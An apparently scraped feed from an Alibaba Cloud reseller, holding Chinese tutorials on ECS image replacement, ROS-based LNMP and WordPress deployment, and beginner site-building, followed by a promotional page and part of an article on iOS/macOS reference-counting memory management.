          说明 在更换镜像后,系统盘的数据会全部被清空,服务器的自动备份的快照也可能会被删除(取决于您的设置,请参见设置自动快照随云盘释放)。因此务必做好数据备份工作。
        5. 击单提醒窗口的确定按钮。
          阿里云使用小妙招
        6. 选择停止方式,设置停止模式,然后单击确定停止实例。
          阿里云使用小妙招
          说明 如果您停止实例是为了更换系统盘、重新初始化磁盘、更改实例规格、修改私网IP等操作,建议您勾选 停止后仍旧保留实例并继续收费选项,避免启动失败。
        7. 配置信息部分,单击 更多选择更换系统盘
          阿里云使用小妙招
        8. 在提示消息中,单击 确定,更换系统盘
          阿里云使用小妙招
        9. 单击 镜像市场,然后单击 从镜像市场选择(含操作系统)
          阿里云使用小妙招
        10. 镜像市场列表的左侧是镜像的分类。您可以根据分类,选择想使用的镜像,。也可以在搜索栏里输入想使用的镜像,然后单击搜索。找到需要的镜像后,单击 使用
          阿里云使用小妙招
        11. 输入登录密码,然后在确认密码中再输入一次。
          阿里云使用小妙招
        12. 在页面的右下角, 勾选《云服务器ECS服务条款》《镜像商品使用条款》,然后单击确定更换
          阿里云使用小妙招
        13. 窗口提示系统盘更换成功。单击返回实例列表
          阿里云使用小妙招

        您成功使用镜像部署了环境。现在可以启动、登录实例,开始使用您的环境了。

        ]]>
        一键部署LNMP环境-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 一键部署LNMP环境-阿里云ECS




        LNMP分别代表Linux、Nginx、MySQL、PHP。本文介绍如何使用阿里云资源编排服务(ROS)一键部署LNMP环境。

        ROS是阿里云官网提供的免费服务,无需下载安装。您可以使用ROS创建JSON格式的资源栈模板文件,或者使用ROS提供的 模板样例 创建一组阿里云资源。在本教程中,我们会使用ROS控制台提供的 LNMP_basic 模板,自动创建一台ECS实例,并在实例上部署LNMP环境。

        前提条件

        创建按量付费资源时,账号余额不能低于100.00元,可以是现金、可用信用额度或者可用于开通产品的代金券。

        操作步骤

        1. 登录 ROS管理控制台。
          说明 如果您是首次使用ROS,必须先开通ROS服务。ROS服务免费,开通服务不会产生任何费用。
        2. 在左侧导航栏中,选择 关键帮助 > ECS实例相关信息,获取您需要的ECS实例规格、可用区ID(ZoneId)和镜像ID(ImageId)。
        3. 在左侧导航栏中,单击 模板样例
        4. 从模板样例中,找到 LNMP_basic
          阿里云使用小妙招
        5. 单击 预览 按钮查看模板的JSON文件。JSON文件各个顶级字段的解释如下表所示。

          顶级字段 解释
          "ROSTemplateFormatVersion" : "2015-09-01" 定义模板版本。
          "Description": "Deploy LNMP(Linux+Nginx+MySQL+PHP) stack on 1 ECS instance. *** WARNING *** Only support CentOS-7."
          解释说明模板。
          "Parameters" : { } 定义模板的一些参数。本示例中,模板定义的参数包括:镜像ID、实例规格等,并指定了默认值。
          "Resources" : { } 定义这个模板将要创建的阿里云资源。本示例中,申明将要创建一个ECS实例和一个安全组,这里申明的资源属性可以引用Parameters中定义的参数。
          "Outputs": { } 定义资源创建完成后,栈需要输出的资源信息。本示例中,资源创建完成后将输出ECS实例ID、公网IP地址和安全组ID。
          说明 关于ROS资源栈模板的更多信息,请参见资源编排的 模板结构说明。
        6. 单击 创建栈
        7. 所在region 的下拉框中选择具体地域,并在页面右下角单击 下一步。本例选择 华东2
        8. 设置栈的相关参数:
          • 栈名:设置一个栈名,不可重复,而且创建之后不能修改。
          • 创建超时:设置一个时间。如果在设置的时间段内资源未创建成功,则判断超时。您可以选择是否 失败回滚。如果选择失败回滚,那么创建过程中发生任何失败(包括创建超时),ROS都会删除已经创建成功的资源。
          • NginxDownloadUrl:使用默认的Nginx下载地址。
          • DBPasswordPlease Confirm DBPassword:设置并确认访问MySQL数据库的密码。根据模板定义,密码只能包括英文字母和数字。
          • ZoneId:填写您需要创建资源的可用区ID。详见第2步。
          • ImageId:填写创建ECS实例时使用的镜像ID。详见第2步。
          • DBName:填写MySQL数据库名。
          • DBUser:填写MySQL数据库的用户名。
          • DBRootPasswordPlease Confirm DBRootPassword:设置并确认MySQL root账号的密码。根据模板定义,密码只能包括英文字母和数字。
          • InstanceType:填写您需要的ECS实例规格。详见第2步。
          • SystemDiskCategory:选择云盘类型,作为系统盘。
          • InstancePasswordPlease Confirm InstancePassword:设置并确认实例的登录密码。根据模板定义,密码只能包括大写或小写英文字母和数字。

          阿里云使用小妙招
        9. 单击 创建,页面将提示 请求提交成功
          阿里云使用小妙招
        10. 在左侧导航栏中,单击 资源栈管理 查看栈的状态。
          阿里云使用小妙招
        11. 点击新创建的栈的名称,在打开的栈概况页面的输出部分查看Outputs中定义的NginxWebsiteURL。您能通过这个地址访问创建好的LNMP环境。
          阿里云使用小妙招
          说明
          • 资源列表中查看栈中所有资源。
          • 事件列表中查看ROS创建这个资源栈过程中产生的操作记录。任何涉及资源栈的操作失败了,列表中都会显示资源操作失败的原因。
          • 模板列表中查看资源栈的原始模板。

        参考信息

        您还可以使用ROS提供的其他模板样例搭建环境,比如Java Web测试环境、Node.js测试开发环境、Ruby Web开发测试环境或Hadoop/Spark分布式系统。

        更多模板,请参见 模板样例。



        遇到任何问题可以随时联系米姆,我们将免费为您提供阿里云基础服务

        ]]>
        创建基于ECS和RDS的WordPress环境--阿里云ECS-RDS Fri, 02 May 2025 09:39:04 +0800 创建基于ECS和RDS的WordPress环境--阿里云ECS-RDS



        您可以在资源编排服务ROS (Resource Orchestration Service)中通过模版创建一组阿里云资源。ROS 控制台已经提供一些常用的模版样例。本文将使用一个 ROS 模版创建基于 ECS 和 RDS 的 WordPress 环境。

        ROS 模版是一个 JSON 格式文本文件,您可以在这个文本中定义自己的阿里云资源。

        前提条件

        阿里云规定创建资源时,账号需要有超过 100 元的现金、可用信用额度或者可用于开通产品的代金券。

        操作步骤

        1. 登录 ROS管理控制台。
          说明 如果您是首次使用ROS,必须先开通ROS服务。ROS服务免费,开通服务不会产生任何费用。
        2. 在左侧导航栏中,选择 关键帮助 > ECS实例相关信息,获取您需要的ECS实例规格、可用区ID(ZoneId)和镜像ID(ImageId)。
        3. 在控制台左侧导航栏中,单击 模版样例,页面显示 ROS 提供的常用模版。
        4. 从模版示例中找到 wordpress_instance,本篇教程将通过这个模版创建基于 ECS 和 RDS 的 WordPress 环境。
          阿里云ECS
        5. 单击 预览 按钮查看模板的JSON文件。JSON文件各个顶级字段的解释如下表所示。

          顶级字段 解释
          "ROSTemplateFormatVersion" : "2015-09-01" 定义模板版本。
          "Parameters" : { } 定义模板的一些参数。本示例中,模板定义的参数包括:镜像ID、实例规格等,并指定了默认值。
          "Resources" : { } 定义这个模板将要创建的阿里云资源。本示例中,申明将要创建一个ECS实例和一个安全组,这里申明的资源属性可以引用Parameters中定义的参数。
          "Outputs": { } 定义资源创建完成后,栈需要输出的资源信息。本示例中,资源创建完成后将输出ECS实例ID、公网IP地址和安全组ID。
          说明 关于ROS资源栈模板的更多信息,请参见资源编排的 模板结构说明。
        6. 单击 创建栈
        7. 所在region 的下拉框中选择具体地域,并单击 下一步。本例选择 华北2
        8. 设置栈的相关参数。
          • 栈名:设置一个栈名,不可重复,而且创建之后不能修改。
          • 创建超时:设置一个时间。如果在设置的时间段内资源未创建成功,则判断超时。您可以选择是否 失败回滚。如果选择失败回滚,那么创建过程中发生任何失败(包括创建超时),ROS都会删除已经创建成功的资源。
          • ImageId:填写创建ECS实例时使用的镜像ID。详见第2步。
          • InstanceType:填写您需要的ECS实例规格。详见第2步。
          • InstancePasswordPlease Confirm InstancePassword:设置并确认实例的登录密码。根据模板定义,密码只能包括大写或小写英文字母和数字。
          • VpcCidrBlock:填写专有网络VPC的私网网段。更多信息参见网络规划。
          • VSwitchCidrBlock:交换机的网段。交换机所指定的网段必须属于其VPC的网段,并且不能与已有的交换机网段重叠。更多信息参见网络规划。
          • DBInstanceClass:云数据库RDS的实例类型。
          • DBInstanceStorage:云数据库RDS的容量规格。
          • ZoneId:填写您需要创建资源的可用区ID。详见第2步。
          • Engine:选择您需要的数据库引擎。
          • EngineVersion:选择您的数据库引擎版本。
          • DBName:填写MySQL数据库名。
          • DBUser:填写MySQL数据库的用户名。
          • DBPassword :设置访问MySQL数据库的密码。根据模板定义,密码必须包括大写英文字母、小写英文字母、数字和下划线四种。

          阿里云使用小妙招
        9. 单击 创建
        10. 单击左侧导航栏的 资源栈管理,从下拉菜单中选取您创建的栈所在的地域,即可找到您刚创建的栈。
          阿里云使用小妙招
        11. 单击栈名,再单击左侧导航栏中的以下几项可以了解已创建栈的相关信息:
          • 概览:可查看栈的基本信息、启动参数、状态、输出值和栈参数。
          • 资源:可查看栈中包含的所有资源。
          • 事件:可查看 ROS 创建这个资源栈时的操作记录。任何涉及资源栈的操作失败了,会显示具体操作哪个资源失败的原因。
          • 模板:可查看资源栈的原始模板。



        遇到任何问题可以随时联系米姆,我们将免费为您提供阿里云基础服务。


        ]]>
        建站教程汇总-阿里云服务器建站 Fri, 02 May 2025 09:39:04 +0800

        建站教程汇总-阿里云服务器建站



        为了方便您搭建网站,本文汇总了阿里云云市场上最常用的应用镜像使用教程,并提供了教程和云市场镜像链接,让您一键触达,轻松建站。


        网站类型 推荐 OS 镜像及其内含资源 说明
        搭建WordPress网站 CentOS、Ubuntu、Aliyun Linux
        • Aliyun Linux 一键安装 Web 环境
        • Nginx: 1.4.4
        • Apache: 2.2.29、2.4.10
        • MySQL: 5.1.73、5.5.40、5.6.21
        • PHP: 5.2.17、5.3.29、5.4.23、5.5.7
        • PHP 扩展: Memcached、Zend Engine/Opcache
        • JDK: 1.7.0
        • Tomcat: 7.0.54
        • FTP:(yum/apt-get 安装)
        • PHPWind: 8.7 GBK
        • PHPMyAdmin: 4.1.8
        WordPress 是一款常用的搭建个人博客网站的软件。

        暂不支持自动挂载 I/O 优化的数据盘。

        一键部署LNMP环境 CentOS、Ubuntu、Aliyun Linux
        • ROS
        • Nginx
        • MySQL
        • PHP 5.4.16
        LNMP 分别代表 Linux、Nginx、MySQL、PHP。资源编排服务 ROS 是阿里云官网提供的免费服务,无需下载安装。

        ROS 通过一个 JSON 格式的模板文件,创建一组阿里云资源。

        镜像部署 Linux 环境 CentOS、Ubuntu、Aliyun Linux
        • 由所购 镜像 决定
        • Nginx
        • MySQL
        • PHP
        • 其余由所购镜像决定
        适用于已经购买实例,但想使用镜像重新部署环境的用户。
        镜像部署Java Web项目 CentOS 7.3
        • JAVA 镜像
        • Tomcat
        • Nginx
        • MySQL5.7
        • Tomcat8

        Tomcat 是开源且免费的 Java Web 服务器,常用作 Web 开发工具,可以托管由 servlet,JSP 页面(动态内容),HTML 页面,JS,Stylesheet,图片(静态内容)组成的 Java Web 应用程序。

        适合新手,利用云市场 丰富的JAVA 镜像 资源快捷部署环境。

        手工部署Java Web项目 CentOS 7.3
        • OneinStack
        • Lnmp
        • Lamp
        • Lnmpa
        • Lnmt

        适合新手,利用云市场 资源快捷部署环境。

        适合对 Linux 命令有基本了解的用户,满足个性化部署的要求。

        在Linux实例上搭建Magento电子商务网站(CentOS 7) CentOS 7. 2、Ubuntu 16.04
        • LAMP 镜像
        • ApacheMySQL
        • PHP 7.0.13
        Magento 是一款开源电商网站框架,其丰富的模块化架构体系及拓展功能可为大中型站点提供解决方案。
        快速搭建 phpwind 论坛系统 CentOS 6.8
        • PHPWind
        • Nginx
        • MySQL5.6
        • PHP 5.2, 5.3, 5.4, 5.5, 5.6, 7.0
        • PHPWind 9.0.1
        PHPWind 是一款采用 PHP + MySQL 方式运行的开源社区程序。轻架构,高效率简易开发,实现快速搭建并轻松管理社区站点。

        适用于要搭建论坛的经典网络用户。

        Drupal建站教程(CentOS7) CentOS 7.2、Ubuntu 16.04
        • LAMP 镜像
        • LAMP: 7.0.12
        • Apache: 2.4.25
        • MySQL: 5.7.17
        • PHP: 7.1.1
        • Drupal: 8.1.1
        Drupal 是一款采用 PHP 语言编写的开源内容管理框架(CMF),由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

        适用于熟悉ECS, Linux系统,刚开始使用ECS 实例建站的用户。

        镜像部署 Windows 环境 Windows

        由所购 镜像 决定

        适用于已经购买实例、但想使用镜像重新部署环境的用户。
        ECS上搭建Docker(CentOS7) CentOS 7.2

        由所购 镜像 决定

        Docker 是一个开源工具,其能将一个 Web 应用封装在一个轻量级,便携且独立的容器里,几乎可以运行在任何服务环境下。

        适用于熟悉Linux系统,刚开始使用 ECS 实例的开发者。

        部署Linux主机管理系统WDCP Linux

        由所购 镜像 决定

        WDCP (WDlinux Control Panel),是一套通过 Web 控制和管理服务器的 Linux 服务器管理系统以及虚拟主机管理系统。
        部署RabbitMQ CentOS 7.3
        • RabbitMQ 镜像
        • RabbitMQ
        • Server: 3.6.9
        • Erlang: 19.3
        • JDK: 1.8.0_121
        RabbitMQ 是一个开源的 AMQP 实现,支持:Python、Ruby、.NET、Java、JMS、C、PHP、ActionScript、XMPP、STOMP、AJAX 等多种客户端。

        用于在分布式系统中存储转发消息,具有不俗的易用性、扩展性、高可用性。

        GitLab的安装及使用 Linux
        • GitLab
        • GitLab 7.4.3
        GitLab 通过 Ruby on Rails,实现自托管的 Git 项目仓库,可通过 Web 界面轻松访问公开或者私人项目。
        PostgreSQL 本地Slave搭建步骤 CentOS 7.2

        由所购 PostgreSQL 镜像 决定

        阿里云版数据库 PostgreSQL 具有 NoSQL 兼容,高效查询,插件化管理,安全稳定的特性。

        适用于熟悉 ECS,Linux 系统,PostgreSQL 的用户。

        搭建和使用SVN Centos7
        • SVN
        • ApachePHP: 5.4.27
        • FTP: 2.2.2
        • SVN: 1.8.8
        SVN (Subversion) 作为一个开源的版本控制系統,能管理随时间改变的数据。
        快速搭建 ThinkPHP 框架 CentOS 6.8
        • ThinkPHP
        • ThinkPHP: 3.2.3
        ThinkPHP 是一款免费开源的,快速、简单的面向对象的轻量级 PHP 开发框架,遵循 Apache2 开源协议发布。

        为了敏捷 Web 应用开发和简化企业应用开发而诞生。

        快速使用AMH建站 Linux
        • PHP 运行环境
        • AMH 4.2
        AMH 是一套通过 Web 控制和管理服务器的 Linux 服务器管理系统以及虚拟主机管理系统。
        在ECS上部署数据库 Windows Server 2012 64bit

        由所购 镜像 决定

        常用数据库通常包含:Oracle,MySQL,SQL Server等。
        搭建Joomla基础管理平台 CentOS 6.5 64bit

        由所购 镜像 决定

        Joomla 是一套知名的内容管理系统。采用 PHP + MySQL 方式开发软件系统。

        适用于熟悉 ECS,Linux 系统,刚开始使用 ECS 实例建站的用户。

        快速搭建 Moodle 课程管理系统 Centos 7.0 64bit
        • Moodle
        • Apache: 2.4.6
        • PHP: 7.0
        • MySQL: 5.6
        • Moodle: 3.1.2
        Moodle 是一个开源课程管理系统,采用 PHP + MySQL 方式运行软件,遵循 GNU 公共许可协议。

        Moodle 平台界面简单精巧,用户可以根据需要随时调整界面,增减内容。


        遇到任何问题请联系米姆我们将免费为您提供阿里云基础服务

        ]]>
        零基础入门—网站建站教程(新手必备)-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 零基础入门—网站建站教程(新手必备)



        本文主要介绍搭建网站要使用的产品,以及如何快速完成建站。

        搭建网站有两种方式:直接购买建站模板和自行建站。两类建站方式的对比如下表所示。


        建站方式 优势 适用人群
        购买建站模板 即买即用,轻松便捷,后台管理方便,且有专人进行网站维护。 预算相对充足、希望节省人力、使用需求迫切的用户。
        DIY自行建站 服务器购买、网站搭建、网站维护全程自主,弹性灵活。 希望自行设计、有动手意愿的用户。

        阿里云云市场提供了丰富的建站模板,并且支持网站定制。

        如:
        • 云市场企业官网定制:适合看重网站个性化的企业用户,成本较高。
        • 云市场网站模板:适合无特殊需求的个人和小企业用户,支持 PC、手机、微信等多种渠道,选择多样,成本较低。
        • 网站基础环境搭建服务,省心省力。

        以下介绍自行搭建网站的流程,适用于刚接触云计算或对云服务器和建站不太了解的个人/小企业用户,内容比较基础,但覆盖了新手用户从服务器选择到完成建站整个流程的零基础入门教程。

        自建步骤

        自行建站的四个基本步骤:

        1. 服务器选择

        不同网站类型需要的服务器配置不同,首先确认网站规模与访问人数,一般情况下,小型网站只需要选择基础配置即可。购买服务器流程可参考 创建ECS实例。

        想了解不同配置对应的价格,推荐使用 ECS价格计算器。

        云服务器ECS主要计费方式为预付费(包年包月和按周付费)和按量付费,详细的计费规则可以参考 计费概述。

        2. 域名购买和备案
        1. 域名购买:输入想要的域名,未被占用即可注册,具体操作请参考 域名注册流程。域名后缀通常为.COM或.CN,其它后缀介绍和区别请参考 域名区别。
          说明 域名注册成功后需进行实名认证。流程请参考 域名实名制认证。
        2. 域名备案:域名购买完成后,还需进行备案方可使用。备案步骤如下:
          1. 备案准备:因各省管局要求存在差异,所需资料也不尽相同,请根据各省市 各地区管局备案规则 准备资料,或访问工信部备案管理系统(www.miitbeian.gov.cn)了解细则。详情请参考 备案基础。
          2. 首次备案接入:若之前尚未进行过工信部备案,请参考 首次备案。

            其它备案场景请参考 备案引导。

        3. 网站部署

        常见网站类型有以下几种:

        • 个人博客
          • WordPress 常用于搭建个人博客网站,尤其适用于首次使用阿里云进行建站的新用户。详情请参考 搭建WordPress网站。
          • 若已有网站代码,可通过 手动建站 来部署。
        • 论坛网站
          • 通过 phpwind 镜像快速搭建论坛网站请参考 快速搭建 phpwind 论坛系统。
        • 其他建站教程
          • 镜像部署LNMP
          • 镜像部署Java Web
          • 部署Linux主机管理系统WDCP
          • 快速搭建 Moodle 课程管理系统

        初级建站推荐使用网上一键安装包,例如WordPress,比较适合新手操作。

        4. 域名解析

        设置域名解析后,外部用户可通过域名访问网站。

        详情请参考 设置域名解析快速入门。

        如需将域名指向一个IP地址,添加A记录即可。

        详情请参考 如何添加不同记录类型的解析。

        至此,建站操作已基本完成,接下来您可使用域名测试访问是否正常。

        常见问题与解决方案

        在服务器使用或者网站搭建过程中,可能会遇到一些使用问题,以下列出了常见的问题和对应的解决方案。

        服务器远程连接
        • Windows无法远程连接:
          • 文档解决方案:无法连接 Windows 实例。
          • 视频教程:如何远程连接 Windows 实例。
        • Linux无法远程连接:
          • 文档解决方案:无法连接 Linux 实例。
          • 视频教程:如何远程连接 Linux 实例。
        安全组和快照
        • 安全组默认规则
        • 安全组应用案例
        • 创建或修改自动快照策略
        网站无法访问
        • Windows 实例带宽和CPU跑满或跑高怎么办?
        • 网站无法访问的常见原因及检查方法有哪些?
        • Windows 实例网络访问丢包延时高怎么办?
        • Linux 实例网站访问丢包延时高如何解决?
        • 域名解析已经生效,无法打开网站常规的原因有哪些?

        相关服务

        • 若在上云前希望了解如何选择适合自身业务特点的阿里云产品和配置,可参考 架构设计&上云咨询服务。
        • 若您需要将云下自建机房、托管机房等环境下的业务迁移到阿里云上, 并希望获取专业上云方案实施服务,可参考 上云方案实施服务。
        • 若您需要在阿里云服务器上部署站点环境、安装应用程序,可参考 网站基础环境搭建服务。
        • 基于阿里云服务器 ECS,若需要专业工程师协助对系统/数据库/站点进行基础设置,可参考 云资源管理基础设置服务。


        遇到任何问题可以及时联系米姆,我们将免费为您提供技术服务

        ]]>
        阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800

        阿里云-上云就上阿里云

        阿里云-上云就上阿里云

        超大规模数据中心遍布全球

        阿里云-上云就上阿里云

        阿里云-上云就上阿里云

        全球首张云安全国际认证

        阿里云-上云就上阿里云

        信息安全管理体系国际认证

        阿里云上云就上阿里云

        首批可信云服务认证

        阿里云上云就上阿里云

        通过公安部等级保护评测

        5大优势,助客户从0搭建到秒级部署云环境

        阿里云上云就上阿里云
        阿里云上云就上阿里云
        阿里云上云就上阿里云
        阿里云上云就上阿里云
        阿里云上云就上阿里云

        高性价比

        相比传统IDC,节约80%成本投入
        对比其他服务商, 你会节省60%成本投入

        高稳定性

        自主研发,海量数据高可靠性保障多重备份、秒级恢复, 按需自动扩容,应用灵活、便捷、稳定

        安全可靠

        全球最大网络攻击防御经验,
        有效帮助客户降低安全风险,
        为您上云作业保驾护航

        生态系统

        知名创投基金汇聚,飞天技术能力积累,阿里巴巴集团生态市场协作,整合资源共享

        金牌服务

        7x24小时服务支持,
        让您使用更安心

        极具竞争力的产品体系

        阿里云上云就上阿里云


        强劲的发展速度

        阿里云上云就上阿里云

        2016年第三季度,阿里云付费用户数量增长至 65.1 万,推动收入同比增长 130%,达到 14.93 亿元的历史新高。云计算付费用户数量同比增长 108%,覆盖金融、医疗、公共交通、能源、制造、政府机构、游戏、多媒体等行业和企业类型。在全球云计算行业,阿里云的增速已大幅领先。


        阿里云优惠券:https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=d4m00na3

        以上链接是阿里云云大使优惠,如需要了解更多阿里云优惠可以点击右侧客服咨询相关优惠信息,也可以关注我们的微信公众号:米姆科技

        米姆主要服务阿里云用户,为阿里云用户提供产品及技术支持,产品包含:云服务器ECS、数据库RDS、网站加速cdn、阿里云企业邮箱、对象存储OSS、安全防护WAF防火墙、高防IP DDOS、大数据、物联网iot、企业短信等,在线咨询电话:14737363737


        搜索本站关键词:广州米姆信息科技有限公司,阿里云代理促销优惠活动,,优惠券,代金券限时优惠,云服务器ECS,广州阿里云邮箱,弹性计算,WAFWEB防火墙,Zstack,私有云,服务中心,免费云主机免费试用,私有云搭建,服务器价格表,阿里云免费邮箱个人版app,阿里云企业邮箱,阿免费邮箱个人版app,阿里云企业邮箱,阿里云里云,广州云主机

        ]]>
        理解 iOS 和 macOS 的内存管理 Fri, 02 May 2025 09:39:04 +0800

        在 iOS 和 macOS 应用的开发中,无论是使用 Objective-C 还是使用 swift 都是通过引用计数策略来进行内存管理的,但是在日常开发中80%(这里,我瞎说的,8020 原则嘛)以上的情况,我们不需要考虑内存问题,因为 Objective-C 2.0 引入的自动引用计数(ARC)技术为开发者们自动的完成了内存管理这项工作。ARC 的出现,在一定程度上拯救了当时刚入门的 iOS 程序员们,如果是没有接触过内存管理的开发者,在第一次遇到僵尸对象时一定是吓得发抖My Brains~。但是 ARC 只是在代码层面上自动添加了内存管理的代码,并不能真正的自动内存管理,以及一些高内存消耗的特殊场景我们必须要进行手动内存管理,所以理解内存管理是每一个 iOS 或者 macOS 应用开发者的必备能力。

        本文将会介绍 iOS 和 macOS 应用开发过程中,如何进行内存管理,以及介绍一些内存管理使用的场景,帮助大家解决内存方面的问题,本文将会重点介绍内存管理的逻辑、思路,而不是类似教你分分钟手写 weak 的实现,之类的问题,毕竟大家一般拧螺丝比较多,至于️的制造技艺嘛,还是要靠万能的 Google 了。

        本文其实是内存管理的起点,而不是结束,各位 iOS 大佬们肯定会发现很多东西在本文中是找不到的,因为这里的内容非常基础,只是帮助初学 iOS 的同学们能够快速理解如何管理内存而写的。

        什么是内存管理

        很多人接触到内存管理可以追溯到大学时候的 C 语言程序设计课程,在大学中为数不多的实践型语言课程中相信 C 语言以及 C 语言中的指针是很多人的噩梦,并且这个噩梦延续到了 C++,当然这个是后话了。所以 Java 之类的,拥有垃圾回收机制的语言,也就慢慢的变得越来越受欢迎(大雾)。

        内存管理基本原则:

        在需要的时候分配内存,在不需要的时候释放内存

        这里来一段简单的 C 代码~

        #define BUFFER_SIZE 128 void dosth() { char *some_string = malloc(BUFFER_SIZE); // 对 some_string 做各种操作 free(some_string);
        }

        这么一句话看起来似乎不是很复杂,但是光这一个内存管理,管得无数英雄尽折腰啊,因为实际的代码并不会像上面那么简单,比如上面我要把字符串 some_string 返回出来的话要怎么办呢?(我不会回答你的)

        iOS 的内存管理

        内存引用计数(Reference Counting,RC)以及 MRC

        Objective-C 和 Swift 的内存管理策略都是引用计数,什么是引用计数呢?下面是 wiki 上摘抄而来的内容:

        引用计数是计算机编程语言中的一种内存管理技术,是指将资源(可以是对象、内存或磁盘空间等等)的被引用次数保存起来,当被引用次数变为零时就将其释放的过程。使用引用计数技术可以实现自动资源管理的目的。同时引用计数还可以指使用引用计数技术回收未使用资源的垃圾回收算法。

        当创建一个对象的实例并在堆上申请内存时,对象的引用计数就为1,在其他对象中需要持有这个对象时,就需要把该对象的引用计数加1,需要释放一个对象时,就将该对象的引用计数减1,直至对象的引用计数为0,对象的内存会被立刻释放。

        似乎有点抽象,这里使用 setter 方法的经典实现作为例子我们来看下代码~

        - (void)setSomeObject:(NSObject *aSomeObject) { if (_someObject != aSomeObject) { id oldValue = _someObject;
                _someObject = [aSomeObject retain]; // aSomeObject retain count +1 [oldValue release]; // oldValue retain count -1 }
        }

        接下来我们图解下这部分代码,图中,矩形为变量(指针),圆圈为实际对象,剪头表示变量指向的对象

        1

        2

        3

        4

        上面的写法是 MRC 时代的经典方式,这里就不多说了,因为本文的目的是让大家理解 ARC 下的内存管理。

        人工内存管理时代 —— Manual Reference Counting(MRC)

        人工管理内存引用计数的方法叫做 Manual Reference Counting(MRC),在上一节的最后,我们已经看到了内存管理的一些些代码,也看到了内存管理时发生了一些什么,因为 MRC 是 ARC 的基础,为了更好地理解 ARC,下面是我对 iOS,macOS 下内存管理的总结:

        对象之间存在持有关系,是否被持有,决定了对象是否被销毁

        也就是说,对于引用计数的内存管理,最重要的事情是理清楚对象之间的持有关系,而不关注实际的引用数字,也就是逻辑关系清楚了,那么实际的引用数也就不会出问题了。

        例子
        这里引用《Objective-C 高级编程》里面办公室的灯的例子,不过我们稍微改改

        1. 自习室有一个灯,灯可以创建灯光,老师要求大家节约用电,只有在有人需要使用的时候才打开灯
        2. 同学 A 来看书,他打开了灯(创建灯光) —— A 持有灯光
        3. 同学 B,C,D 也来看书,他们也需要灯光 —— B,C,D 分别持有灯光
        4. 这时候 A,B,C 回宿舍了,他们不需要开灯了 —— A,B,C 释放了灯光
        5. 由于这时候 D 还需要灯光,所以灯一直是打开的 —— D 依然持有灯光
        6. 当 D 离开自习室时 —— D 释放了灯光
        7. 这时候自习室里面已经没有人需要灯光了,于是灯光被释放了(灯被关了)

        上面的例子“灯光”就是我们的被持有的对象,同学们是持有“灯光”的对象,在这个场景,只要我们理清楚谁持有了“灯光”,那么我们就能完美的控制“灯光”,不至于没人的时候“灯光”一直存在导致浪费电(内存泄漏),也不至于有同学需要“灯光”的时候“灯光”被释放。

        这里看上去很简单,但是实际项目中将会是这样的场景不断的叠加,从而产生非常复杂的持有关系。例子中的同学 A,B,C,D,自习室以及灯也是被其他对象持有的。所以对于最小的一个场景,我们再来一遍:

        对象之间存在持有关系,是否被持有,决定了对象是否被销毁

        创造力的解放 —— Automatic Reference Counting(ARC)

        但是平时大家会发现从来没用过 retainrelease 之类的函数啊?特别是刚入门的同学,CoreFoundation 也没有使用过就更纳闷了

        原因很简单,因为这个时代我们用上了 ARC,ARC 号称帮助程序员管理内存,而很多人曲解了“帮助”这个词,在布道的时候都会说:

        ARC 已经是自动内存管理了,我们不需要管理内存

        这是一句误导性的话,ARC 只是帮我们在代码中他可以推断的部分,自动的添加了 retainrelease 等代码,但是并不代表他帮我们管理内存了,实际上 ARC 只是帮我们省略了部分代码,在 ARC 无法推断的部分,是需要我们告诉 ARC 如何管理内存的,所以就算是使用 ARC,本质依然是开发者自己管理内存,只是 ARC 帮我们把简单情况搞定了而已

        但是,就算是 ARC 仅仅帮我们把简单的情况搞定了,也非常大的程度上解放了大家的创造力、生产力,因为毕竟很多时候内存管理代码都是会被漏写的,并且由于漏写的时候不一定会发现问题,而是随着程序运行才会出现问题,在开发后期解决起来其实挺麻烦的

        ARC 下的内存管理

        那么我们来说说 ARC 中如何进行内存管理,当然核心还是这句话:对象之间存在持有关系,是否被持有,决定了对象是否被销毁,当然我们补充一句话:ARC 中的内存管理,就是理清对象之间的持有关系

        strongweak

        在上面一节中,其实大家应该发现只写了 retain,是因为 MRC 的时代只有 retainreleaseautorelease 这几个手动内存管理的函数。而 strongweak__weak 之类的关键字是 Objective-C 2.0 跟着 ARC 一起引入的,可以认为他们就是 ARC 时代的内存管理代码

        对于属性 strongweakassigncopy 告诉 ARC 如何构造属性对应变量的 setter 方法,对于内存管理的意义来说,就是告诉编译器对象属性和对象之间的关系,也就是说平时开发过程中,一直在使用的 strongweak 其实就是在做内存管理,只是大部分时间大家没有意识到而已

        • strong:设置属性时,将会持有(retain)对象
        • weak:设置属性时,不会持有对象,并且在对象被释放时,属性值将会被设置为 nil
        • assign:设置属性时,不会持有对象(仅在属性为基本类型时使用,因为基本类型不是对象,不存在释放)
        • copy:设置属性时,会调用对象的 copy 方法获取对象的一个副本并持有(对于不可变类型非常有用)

        一般情况下,我们都会使用 strong 来描述一个对象的属性,也就是大部分场景下,对象都会持有他的属性,那么下面看下不会持有的情况

        属性描述的场景 —— delegate 模式

        这里用经典的 UITableViewDelegateUITableViewDataSource 来进行举例

        UITableView 的 delegate 和 datasource 应该是学习 iOS 开发过程中最早接触到的 iOS 中的 delegate 模式
        在很多的的例子中,教导我们自己开发的对象,使用的 delegate 的属性要设置为 weak 的,但是很少有说为什么(因为循环引用),更少有人会说为什么会产生循环引用,接下来这里用 UITableView 的来详解下

        先看 UITableView 中的定义

        @interface UITableView : UIScrollView <NSCoding, UIDataSourceTranslating> // Other Definations ... @property (nonatomic, weak, nullable) id <UITableViewDataSource> dataSource; @property (nonatomic, weak, nullable) id <UITableViewDelegate> delegate; // Other Definations ... @end

        接下来看下 UITableViewController 中一般的写法

        @interface XXXTableViewController : UITableViewController @property (nonatomic, strong) UITableView *tableView; @end @implementation XXXTableViewController() - (void)viewDidLoad {
            [super viewDidLoad]; self.tableView.delegate = self; self.tableView.dataSource = self;
        } @end

        下面用一个图梳理一下持有关系

        持有关系

        图上有三个对象关系

        1. controller 持有 tableViewstrong 属性
        2. tableView 没有持有 conntrollerweak 属性
        3. 其他对象持有 controllerstrong 属性

        那么当第三个关系被打破时,也就是没有对象持有 controller 了(发生 [controller release],这时候 controller 会释放他所有的内存,发生下面的事情:

        1. 其他对象调用 [controller release],没有对象持有 controllercontroller 开始释放内存(调用 dealloc
        2. [tableView release],没有对象持有 tableView 内存被释放
        3. controller 内存被释放

